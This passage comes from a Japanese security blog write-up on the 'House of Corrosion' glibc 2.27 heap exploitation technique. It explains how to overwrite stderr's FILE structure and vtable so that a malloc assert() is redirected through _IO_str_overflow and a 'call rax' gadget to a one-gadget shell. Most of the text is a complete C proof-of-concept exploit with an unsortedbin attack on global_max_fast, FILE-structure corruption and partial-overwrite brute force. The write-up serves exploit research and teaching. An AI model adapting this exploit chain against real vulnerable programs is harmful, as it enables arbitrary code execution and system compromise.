だが後述するように stderr->_IO_buf_base との差分が重要になってくるため、これは既知の値である必要がある
そこで、ここには _morecore に入っている値 (=__default_morecoreのアドレス) を入れておくことにする

また、 _IO_str_overflow()call rax gadget を呼ばせるのだが
この呼び出しをする際の rax の値が _IO_buf_end - _IO_buf_base になっており、これを onegadget のアドレスにしなければならない


先程 _IO_buf_end には _default_morecore のアドレスを入れたから
ここには __default_morecore と call rax gadget のオフセットを入れておく
__morecore は後でもう一度使うため、もう一度 malloc() することで正常な値を戻しておく

  // Transplant __morecore's value to stderr->file._IO_buf_end
  ADV3(A1,B1,tmp11,0x50,size_stderr_IO_buf_end,size_morecore,0,0);
  tmp11[1] = (size_morecore+0x10)|1;// morecoreにdefault_morecoreの値を戻しておく
  A1 = malloc(size_morecore); 

 

あと2点だけ
結局のところやりたいことは
assert() => _IO_file_jumps->_IO_new_file_xsputn
となるところを書き換えて
assert() => _IO_str_jumps->_IO_str_overflow => _allocate_buffer == call rax => onegadget
という流れを作ることである

よって後は _IO_file_jumps を _IO_str_jumps に書き換え、しかも xsputn に該当する部分が _IO_str_overflow に該当するようにずらしておく

f:id:smallkirby:20200224210203p:plain

 

f:id:smallkirby:20200224210218p:plain

 

そのオフセットは0x20であるから、vtableには _IO_str_jumps-0x20 のアドレスを入れておけば良い

  // Write LSByte of _IO_str_jumps on stderr->vtable  
  ADV2_WITH_CHANGE(stderr_vtable_chunk, LSBs_IO_str_jumps, size_stderr_vtable, sizeof(short));

 

 

そして最後に _allocate_buffer を onegadget に書き換えてしまえば終わりである
尚この最後の書き換えは tampler in flight を用いて
__default_morecore の下2byteを書き換えることで行う
(このような下2byteの書き換えはPoCの中で3箇所で行われているが、最初の書き換えに成功した時点で残りの書き換えには全て成功するため、結局のところ全体が有するエントロピーは4bitに変わりない)

  // Transplant __morecore's value to _s._allocate_buffer
  ADV3(A2,B2,tmp21,0x90,size_stderr_s_alloc,size_morecore,1,LSBs_call_rax);


さて、長い長い改竄が終わった
以上の書き換えを行うと、 stderr は以下のようになる

f:id:smallkirby:20200224210106p:plain

 

f:id:smallkirby:20200224210122p:plain



 

10: assert()で発火させる

これらの準備をした上で小さなサイズの malloc() を すると以下の箇所で assert() (_malloc_assert()) が呼ばれる
https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3829

これによって上に示したようなフローで stderr を動かすことができ、シェルが取れるはずである

 

 

 

11: PoC

各Advantageはマクロ化している
DEBUGマクロを外すことで実際のエントロピーを失わずに実験することができる

// House of Corrosion : PoC in the format of how2heap
// Even though DEBUG is defined, this exploit has some uncertainity due to the libc load addr's entropy

#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<string.h>
#include<assert.h>

#define ull unsigned long long
#define DEBUG 0
#define WAIT while(fgetc(stdin)!='\n');

//A and tmp1 should be the same except for LSByte
#define GET_CLOSE_CHUNK(A,B,tmp1,tmp2,sz,LSB_A,padd_size) \
  malloc(padd_size);\
  tmp1 = malloc(0x50);\
  A = malloc(0x20);\
  B = malloc(0x20);\
  tmp2 = malloc(0x50);\
  assert(((unsigned long)tmp1&0xff)<((unsigned long)A&0xff) && ((unsigned long)tmp1&0xff)<0xa0);\
  free(tmp1);\
  free(tmp2);\
  ((char*)tmp2)[0] = LSB_A;\
  tmp2 = malloc(0x50);\
  tmp1 = malloc(0x50);\
  printf("[-]tmp1: %p\n",tmp1);\
  printf("[-]tmp2: %p\n",tmp2);\
  tmp1[1] = (sz+0x10)|1;\
  tmp1[6] = 0;\
  tmp1[7] = (sz+0x10)|1;\
  printf("[-]A: %p\n",A);\
  printf("[-]B: %p\n",B);

#define ADV2(chunk,value,size) \
  free(chunk);\
  chunk[0] = value;\
  malloc(size);

#define ADV2_WITH_CHANGE(chunk, value, size, value_size)\
  free(chunk);\
  if(value_size == 0x2) ((short*)chunk)[0] = value;\
  else {printf("ERROR\n"); exit(0);}\
  chunk = malloc(size);

#define ADV3(chunkA, chunkB, tmp, LSB_A, size_DST, size_SRC, tamper_flight_flag, tamper_value)\
  free(chunkB);\
  free(chunkA);\
  ((char*)chunkA)[0] = LSB_A;\
  chunkA = malloc(size_DST); \
  tmp[1] = (0x10 + size_SRC)|1; \
  free(chunkA); \
  tmp[1] = (0x10 + size_DST)|1; /* to avoid corruption detection */\
  if(tamper_flight_flag==1) ((short*)chunkA)[0] = tamper_value;\
  chunkA = malloc(size_DST);

//This 3 variables must be set (have the same 4-bit entropy)
void *LSBs_gmf = 0xc940; //global_max_fast: 4nibble目は適当
void *LSBs_IO_str_jumps = 0x7360-0x20; // -0x20 is NEEDED to call _IO_str_overflow instead of xsputn
void *LSBs_call_rax = 0xc610;; // this must be nearby default_morecore

void *off_gmf_libcbase = 0x3ed940;
void *off_stdout_libcbase = 0x3ec760;
void *off_arena_libcbase = 0x3ebc40;
ull off_fastbinY_stderr = 0xa28;

unsigned size_formula(unsigned long delta){
  return (unsigned)(delta*2 + 0x20);
}

int main(int argc, char *argv[])
{
  WAIT

  // Calc and get some addrs
  char num;
  void *addr_stdout = stdout;
  void *libcbase = addr_stdout - off_stdout_libcbase;
  ull *addr_IO_file_jumps = 0x3e82a0 + (ull)libcbase;
  void *addr_gmf = (ull)off_gmf_libcbase + (ull)libcbase;
  void *addr_main_arena = (ull)libcbase + (ull)off_arena_libcbase;
  ull *addr_IO_str_overflow = (ull)libcbase + 0x8ff60;
  ull addr_IO_str_jumps = (ull)libcbase + 0x3e8360;
  ull addr_call_rax = (ull)libcbase + 0x8d610;
  void *addr_fastbinY = (ull)addr_main_arena + 0x60;
  ull *A1,*B1,*A2,*B2,*tmp11,*tmp21,*temp12,*tmp22,*padd, *chunk_fake_size;
  ull *dumped_main_arena_end_chunk, *pedantic_chunk;
  ull *stderr_mode_chunk, *stderr_flags_chunk, *stderr_IO_buf_base_chunk, *stderr_IO_write_ptr_chunk, *stderr_s_alloc_chunk, *stderr_vtable_chunk;
  ull *stdout_mode_chunk;
  ull temp;
  ull *temp_ptrs[10];
  unsigned sz1=size_formula(off_fastbinY_stderr+0x60);
  unsigned size_dumped_main_arena_end = size_formula(0x1ce0); //WHY 8??
  unsigned size_stderr_flags = size_formula(0xa30) - 0x8;
  unsigned size_stderr_mode = size_formula(0xa30+0xc0) - 0x8;
  unsigned size_stderr_IO_buf_base = size_formula(0xa30+0x38 - 0x8);
  unsigned size_stderr_IO_write_ptr = size_formula(0xa30+0x28 - 0x8);
  unsigned size_stderr_IO_buf_end = size_formula(0xa30+0x30 + 0x8);
  unsigned size_stderr_vtable = size_formula(0xa30+0xd8 - 0x8);
  unsigned size_stderr_s_alloc = size_formula(0xa30+0xe0 - 0x8);
  unsigned size_stdout_mode = size_formula(0xb10 + 0xc0 - 0x8);
  unsigned size_morecore = size_formula(0x888-0x8); //WHY 8??
  ull *onegadget = 0x00021b95;
  unsigned off_default_morecore_onegadget = 0x4becb;
  printf("House of Corrosion : PoC\n");
  printf("___________________________________\n\n");
  printf("__LIBC INFO__\n");
  printf("libcbase : %p\n",libcbase); 
  printf("mainarena: %p\n",addr_main_arena);
  printf("fastbinsY: %p\n",addr_fastbinY);
  printf("global_max_fast: %p\n",addr_gmf);
  printf("call rax: %p\n",addr_call_rax);
  printf("___________________________________\n\n");

  // Alloc some chunks 
  printf("* Preparing for some chunks ...*\n");
  ull *a = malloc(0x450); //for unsortedbin attack targeting at global_max_fast
  ull *padding = malloc(0x20);
  ull *largebin = malloc(0x450); //for largebin chunk with NON_MAINARENA which would cause assert() later
  ull *avoid_consolidation = malloc(0x110-0x30);

  // Prepare for Advantage 3
  /* LSB SENSITIVE !!! */
  GET_CLOSE_CHUNK(A1,B1,tmp11,tmp21,size_stderr_IO_buf_end,0x50,0x90);
  GET_CLOSE_CHUNK(A2,B2,tmp21,tmp22,size_stderr_s_alloc,0x90,0x0);

  chunk_fake_size = malloc(sz1 + 0x100); //make fake size for fake fastbin's next chunk
  for(int ix=0;ix!=(sz1+0x100)/0x10;++ix){
    *(chunk_fake_size+0+ix*2) = 0x0;
    *(chunk_fake_size+1+ix*2) = 0x30|1;
  }

  //Malloc chunks for Advantage2
  dumped_main_arena_end_chunk = malloc(size_dumped_main_arena_end);
  pedantic_chunk = malloc(size_formula(0x1cf8)-0x8);
  stderr_mode_chunk = malloc(size_stderr_mode);
  stderr_flags_chunk = malloc(size_stderr_flags);
  stderr_IO_write_ptr_chunk = malloc(size_stderr_IO_write_ptr);
  stderr_IO_buf_base_chunk = malloc(size_stderr_IO_buf_base);
  stderr_vtable_chunk = malloc(size_stderr_vtable);
  stdout_mode_chunk = malloc(size_stdout_mode);
  printf("[*]DONE\n");

  //Connect to largebin with NON_MAINARENA 1
  printf("\n* Connecting to largebin...*\n");
  free(largebin);
  malloc(0x500);
  ((ull*)(((ull)largebin)-0x10))[0] = 0;
  ((ull*)(((ull)largebin)-0x10))[1] = 0x460|0b101; //set NON_MAIN_ARENA
  printf("[*]DONE\n");

  //Unsortedbin Attack
  printf("\n* Doing unsortedbin attack agains global_max_fast...*\n");
  free(a);

  a[0] = 0xfffff; //victim->fd
#ifndef DEBUG
  for(int ix=0;ix!=2;++ix){ //victim->bk
    temp = (unsigned long long)LSBs_gmf >> (8*ix);
    num = temp % 0x100;
    if(ix==0)
      num -= 0x10;
    *(char*)((unsigned long long)a+8+ix) = num;
  }
#else
  for(int ix=0;ix!=8;++ix){ //libcの情報からgmfを計算しているため100%正確な位置に書き込める。 いちいちデバッグでbrute-forceめんどいから
    temp = (unsigned long long)addr_gmf >> (8*ix);
    num = temp % 0x100;
    if(ix==0)
      num -= 0x10;
    *(char*)((unsigned long long)a+8+ix) = num;
  }

  //calculate the 100% accurate LSbytes
  LSBs_IO_str_jumps = (addr_IO_str_jumps-0x20)&0xffff;
  LSBs_call_rax = addr_call_rax&0xffff;
#endif

  malloc(0x450); //unsorted attack!! 
  
  //Check whether the unsorted attack is success or not
  if(*((ull*)addr_gmf) != (ull)addr_main_arena + 96){
    printf("\n\n[-]FAIL: unsortedbin attack\n");
    exit(0);
  }else{
    printf("[!]SUCCESS: unsortedbin attack\n");
  }
  

  // Make unsortedbin's bk VALID
  printf("\n* Make unsortedbin's bk VALID...*\n");
  ADV2(dumped_main_arena_end_chunk, 0x450+0x10, size_dumped_main_arena_end); //size
  free(pedantic_chunk); //fd/bk
  printf("dumped_main_arena_end: 0x%016llx 0x%016llx\n",*((ull*)((ull)addr_gmf-0x10)),*((ull*)((ull)addr_gmf-0x8)));
  printf("global_max_fast      : 0x%016llx 0x%016llx\n",*(ull*)addr_gmf, *((ull*)((ull)addr_gmf+0x8)));

  // Overwrite vtable and so on
  printf("\n* Overwriting some addrs...*\n");
  printf("HOWEVER, I can't speak from now on due to the corruption.\n");
  printf("Wish you can get shell, bye.\n\n");
  ADV2(stderr_mode_chunk, 0x1, size_stderr_mode);
  ADV2(stdout_mode_chunk, 0x1, size_stdout_mode);
  ADV2(stderr_flags_chunk, 0x0, size_stderr_flags);
  ADV2(stderr_IO_write_ptr_chunk, 0x7fffffffffffffff, size_stderr_IO_write_ptr);
  ADV2(stderr_IO_buf_base_chunk, off_default_morecore_onegadget, size_stderr_IO_buf_base);


  // Transplant __morecore's value to stderr->file._IO_buf_end
  ADV3(A1,B1,tmp11,0x50,size_stderr_IO_buf_end,size_morecore,0,0);
  tmp11[1] = (size_morecore+0x10)|1;// morecoreにdefault_morecoreの値を戻しておく
  A1 = malloc(size_morecore); 

  // Write LSByte of _IO_str_jumps on stderr->vtable  
  ADV2_WITH_CHANGE(stderr_vtable_chunk, LSBs_IO_str_jumps, size_stderr_vtable, sizeof(short));
  
  // Transplant __morecore's value to _s._allocate_buffer
  ADV3(A2,B2,tmp21,0x90,size_stderr_s_alloc,size_morecore,1,LSBs_call_rax);

  //Trigger assert()
  malloc(0x50);

  printf("You won't reach here. Can you get a shell??");

  return 0;
}

12: 結果

5回に1回程度成功し、それ以外は SegmentationFault になる

f:id:smallkirby:20200224210247p:plain

 

 

13: アウトロ

ファイルストリーム系の理解が甘いために曖昧な説明になってしまった部分が多いのが情けない
以降は一旦heap系は置いておいて、ファイルストリーム系を勉強し直そうと思う








続く